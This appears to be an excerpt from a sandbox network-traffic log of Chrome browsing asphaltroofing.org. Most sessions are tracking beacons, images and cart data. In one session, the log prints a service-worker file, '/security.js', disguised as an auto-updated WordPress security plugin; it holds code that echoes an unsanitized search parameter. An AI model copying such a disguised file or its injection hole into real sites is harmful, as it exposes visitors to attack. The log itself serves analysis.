X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: Q9mVVmZN7Kictod4HGm9Ry0Uo1LSw0pBsnE_VWG6eI_xWO8xGcB9jw==
2024-04-23 14:54:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.6	50199	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:42 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:42 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:42 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mv9MFnsYgD0kAqeM5smSLcvMluKNgdMSm%2Ft4Mi95DWj%2B9BeiKr53nrvZ5YXYxTKqFBOVx%2B6Ez7PCNNYXu5i20CD6R7AP%2F65xIQESpv0myJs%2BWqbUeQkoBMRBPy5orSHD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0baa9836741-ATL
2024-04-23 14:54:42 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.6	50200	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:42 UTC	709	OUT	GET /wp-content/uploads/2017/04/banner.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:42 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:42 GMT Content-Type: image/jpeg Content-Length: 28367 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:27:24 GMT ETag: "1be1da5-6ecf-5d9f2f7aa4f00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:42 UTC	7674	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 14 14 14 14 15 14 17 19 19 17 1f 22 1e 22 1f 2e 2b 27 27 2b 2e 46 32 36 32 36 32 46 6a 42 4e 42 42 4e 42 6a 5e 72 5d 56 5d 72 5e a9 85 76 76 85 a9 c3 a4 9b a4 c3 ec d3 d3 ec ff ff ff ff ff ff 01 14 14 14 14 15 14 17 19 19 17 1f 22 1e 22 1f 2e 2b 27 27 2b 2e 46 32 36 32 36 32 46 6a 42 4e 42 42 4e 42 6a 5e 72 5d 56 5d 72 5e a9 85 76 76 85 a9 c3 a4 9b a4 c3 ec d3 d3 ec ff ff ff ff ff ff ff c2 00 11 08 02 c6 07 d0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 08 01 01 00 00 00 00 fb 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF"".+''+.F26262FjBNBBNBj^r]V]r^vv"".+''+.F26262FjBNBBNBj^r]V]r^vv"0
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: 00 00 01 44 9a bc 9d 7c 79 c7 1d fa 6c e2 df 5f 48 08 1a 00 00 41 54 a3 90 00 00 00 00 00 00 00 ac e7 a5 e4 eb 9e 79 d5 f9 d3 5d b7 2f b6 26 73 24 6b 5b f2 74 de f6 00 67 40 a5 0b c4 00 00 00 00 00 00 00 56 66 ee 24 1d 37 f2 78 75 ed ed cf 9b db 8e 59 05 de bc ff 00 2f ac 97 7b df 4d f4 e9 b9 9d ea 94 2a 8e 20 00 00 00 00 00 00 0a 24 da 62 4a de fe 5f 9f b7 7f a1 c3 e5 fa bd 9c 14 6a d7 3f 9d 9b 6d 49 24 e9 f4 fa 6c a2 85 1c 40 00 00 00 00 00 00 0a 49 b6 70 b1 67 8b 8f 67 6c f9 3b 7b 73 b4 98 dd ce b9 f8 38 11 75 6e b6 fa 17 d0 50 14 38 80 00 00 00 00 00 00 14 99 dd ce 37 26 75 3c 3c 2d c4 6f e8 56 f1 95 5b 3e 66 32 ba da 6f d1 d3 97 ab d1 a0 0a 07 10 00 00 00 00 00 00 02 8c 6e ce 7b 91 73 e0 e2 dc 67 9f d0 ec 49 ac b4 f0 79 ba d4 e9 df bf 7e ae 7f 3b d5 Data Ascii: D\|yl_HATy]/&s$k[tg@Vf$7xuY/{M* $bJ_j?mI$l@Ipggl;{s8unP87&u<<-oV[>f2on{sgIy~;
2024-04-23 14:54:42 UTC	8192	IN	Data Raw: aa 62 a8 d3 4a eb b2 b1 5a a3 e9 da f6 6c 9a bc 7f cb c2 34 34 d2 e1 35 ff 00 83 44 9d da 5b 13 a7 3d 2b 55 ee 46 12 da e8 94 a5 1d 9a d8 d3 29 dd a4 c5 87 95 f8 b2 3a 14 e3 bc a6 8a 95 70 f1 d9 4b 57 d8 55 29 5b d5 22 82 7a a4 d5 8a 8f 5d 48 a3 05 16 eb c6 36 e3 77 f6 42 79 fa 92 c2 d1 93 72 69 dd 8b 0f 18 f0 d9 d3 6b 86 34 d6 56 7d 8b 3e df 91 c5 c3 54 24 62 15 99 24 45 ee 41 90 67 87 cf 94 2f a2 4f 3b 16 c9 a3 4b 13 2e 54 95 91 ae 5d c5 52 47 55 9d 7e e8 fc 4c 45 88 80 ab 41 fa 9d 48 bf 52 53 25 51 92 aa ce a0 ea 0e af cc 75 89 55 97 71 ce 5d c5 39 1b 8a 2d 8a 02 48 a5 e6 a9 f0 95 a7 69 8e a2 25 32 2e e2 48 8b f6 ca 3f 01 32 b5 d0 a5 22 32 91 52 a4 d1 4e ad 49 3d 8a 09 b8 47 52 b3 2b 46 30 e3 d5 9b 4b 7b 26 d2 35 3a 7b be 7b 58 78 9b b6 b4 5e ec 9e 3b Data Ascii: bJZl445D[=+UF):pKWU)["z]H6wByrik4V}>T$b$EAg/O;K.T]RGU~LEAHRS%QuUq]9-Hi%2.H?2"2RNI=GR+F0K{&5:{{Xx^;
2024-04-23 14:54:42 UTC	4309	IN	Data Raw: e8 88 32 5c 15 15 a5 9a 21 f0 88 42 f7 7e 25 55 d2 a3 26 8b f0 5d d8 bb bf a1 b9 69 1a 65 6e 51 a2 57 e5 1a 24 fd 51 d3 95 f9 3a 32 ee 74 65 fb 85 49 af d4 69 7d cd 0f b9 d3 f9 9d 3f 99 d3 f9 9d 3f 99 d3 f9 9d 23 a6 8e 9a 3a 68 e9 a3 a6 8e 92 3a 47 49 1d 14 74 22 46 3a 62 3f 8c 5e 4f ff c4 00 32 11 00 02 02 00 04 05 04 02 02 02 01 04 03 00 00 00 00 01 02 11 03 10 12 31 04 20 21 41 51 13 30 32 60 22 42 61 71 14 40 33 05 23 50 81 62 70 a1 ff da 00 08 01 02 01 01 3f 00 ff 00 ec c6 2e 45 2b 65 f5 ff 00 7a b2 a2 8a 28 a2 8a 2b e8 ab 99 e4 b2 7b a2 5b 32 3b 64 f6 1e c4 65 ff 00 72 87 2f ce 88 ec 3d 8a e7 a2 8a e4 ac eb 9a 8a 2b 2a 28 a2 8a 28 a2 b3 af a2 31 4d 21 49 79 2d 72 4b 27 2d 32 4b ce 52 ec 4b e2 cc 27 71 ca 5b 1d 84 ab 15 ff 00 66 23 ac 54 61 ec 3d bf Data Ascii: 2\!B~%U&]ienQW$Q:2teIi}??#:h:GIt"F:b?^O21 !AQ02`"Baq@3#Pbp?.E+ez(+{[2;der/=+*((1M!Iy-rK'-2KRK'q[f#Ta=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.6	50201	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:42 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884081143 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:42 UTC	968	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:42 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FZ6%2F9KZC%2FRWU2DghOnGaXdAGZZq2Zmkqyi94UmBiwctJ%2FOIxB4U2UvHPdSzMEmmf4D7nt0xhsSSzoCX8Ak80hK60BlCueSVLp0%2B777%2BHgb7R2I3D8cvK%2FJbAoJlqxd5c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0bdab1712ef-ATL
2024-04-23 14:54:42 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.6	50202	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:42 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:42 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:42 GMT x-amzn-RequestId: 3cfa5f07-9313-462a-a8a0-28d115c25354 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:42 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzD_Er7oAMEdzQ= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbb2-3998c86119a235543ea7e86e;Parent=1bffff2b1c743520;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 2cfc0bae5f623e4a6a6bc0939f1d71c8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: R_CKkJvvNHXMcl959BLh--4D9zb1FLPXaKR6EYQ8aeOsknqvPw1xZg==
2024-04-23 14:54:42 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.6	50203	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:43 UTC	917	OUT	GET /v1/analytics/crumb?cb=1713884081808&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:43 UTC	1060	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:43 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:43 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LA9v0dVwjZHjwjNPzdn23ia6Eq2y2BwRzaLAKUyqkGvluRmiz8uLYtTGvVqhjiuaHtLkTREaiL%2FeNrATw%2BWWNnTIFeiugQg%2FBiZRH57b36bI65uxFmz4MqHnDhW3a8KB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0c1ce9e53ee-ATL
2024-04-23 14:54:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.6	50204	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:43 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:43 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:43 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:43 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.6	50207	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:44 UTC	823	OUT	GET /security.js?v=1713884082416 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/resources/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
2024-04-23 14:54:44 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:44 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:44 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.6	50210	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:44 UTC	675	OUT	GET /v1/analytics/crumb?cb=1713884081808&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:44 UTC	1060	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:44 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:44 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=naKfyd5QTlBUlsy6bb5HHOAku6wrQG7t9k5LUPdLeG%2FgSxB0ex66RVuUFJuPWTkek%2FkGsqghUS33m7VgELns9Zhi1K6J0q3gSiNd9Ht1S66p5foGm%2BPkNE4btiArk2NC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0c88f15674b-ATL
2024-04-23 14:54:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.6	50212	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:44 UTC	1194	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&rl=&if=false&ts=1713884082689&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fresources%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884082656&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:44 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3403, tp=-1, tpl=-1, uplat=1, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:44 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
